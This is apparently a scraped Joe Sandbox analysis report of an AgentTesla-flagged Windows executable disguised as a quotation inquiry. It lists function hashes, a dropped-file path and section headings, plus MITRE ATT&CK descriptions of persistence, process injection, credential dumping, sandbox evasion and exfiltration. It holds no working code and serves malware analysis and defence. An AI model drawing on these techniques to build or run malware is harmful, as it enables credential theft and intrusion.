Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0701df677d5879354ee42f0bde286dc60141a6030eb6ad82b8095bbdc05aaf59
Instruction ID: a31302d4bae8b3457921e72dbbd991fd7ba7985f5b1e2990df0c2f4441331b06
Opcode Fuzzy Hash: 0701df677d5879354ee42f0bde286dc60141a6030eb6ad82b8095bbdc05aaf59
Instruction Fuzzy Hash: B1D05E7121D3845FCB128F20D4248457FF4DE172A035504CBE4C18B263C5619818C711

Function 063303E0 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1456172976.0000000006330000.00000040.00000800.00020000.00000000.sdmp, Offset: 06330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6330000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 692872a266e2d0a73db7f655b1d0f3b49abc6e758416576f752f946a4248ac23
Instruction ID: 53034f660ea0a18d1e14c0d4bf110f7ea77db8e842ed473de9c596162bf6d840
Opcode Fuzzy Hash: 692872a266e2d0a73db7f655b1d0f3b49abc6e758416576f752f946a4248ac23
Instruction Fuzzy Hash: 5BD0A730446308DBCBDCDF64D804B6D737DEB42214F0011ED840812200CB314940DB91

Function 062518F0 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 422bc62432ff345423081afd54dddc2bac61d277cb1e935b219d4b42034d79f3
Instruction ID: fab24b7320e787bcf929847cc902c0b7cdb487aa4c4a0dd2fc876dfdf9a83397
Opcode Fuzzy Hash: 422bc62432ff345423081afd54dddc2bac61d277cb1e935b219d4b42034d79f3
Instruction Fuzzy Hash: A2C04C6158E7C52FDF5717300D297487F74AB43744F1611C7D2C5990D3859895899326

Function 0625DB50 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction ID: a5ced1602b898661de329531365079a034e3d75a808f59c5ffcbefa728424f66
Opcode Fuzzy Hash: 9145439845d19ed285ef8ed2e2731e53e84310996d3e08af64ba1494253e8755
Instruction Fuzzy Hash: 58C0927A140208EFC700DF69E848C85BBB8EF1977171180A1FA088B332C732EC60DA94

Function 062547FD Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1454599528.0000000006250000.00000040.00000800.00020000.00000000.sdmp, Offset: 06250000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_6250000_Egmgti.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c993d72f9691ba80690abbbccc9cd4a92dac5108a8b99be3db9316600d71d980
Instruction ID: 696d0a8e7983b04ebcda3dabb216301cdd88b3dfa9d0037c601344fdffc66b7a
Opcode Fuzzy Hash: c993d72f9691ba80690abbbccc9cd4a92dac5108a8b99be3db9316600d71d980
Instruction Fuzzy Hash: 4FB01234404200BE8BCD9710C54980A77D2ABF0701B019224E1408101487340810E500

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Egmgti.exe

C:\Users\user\AppData\Roaming\Egmgti.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Windows Analysis Report
inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.exe

Function 064CCF6D Relevance: 2.8, Strings: 2, Instructions: 289
COMMON

Function 0138B28D Relevance: 2.3, Strings: 1, Instructions: 1095
COMMON

Function 065B1C2E Relevance: 3.8, Strings: 3, Instructions: 38
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.
Tactics:	Exfiltration
Data Sources:	Application Log: Application Log Content, Cloud Storage: Cloud Storage Access, Command: Command Execution, File: File Access, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre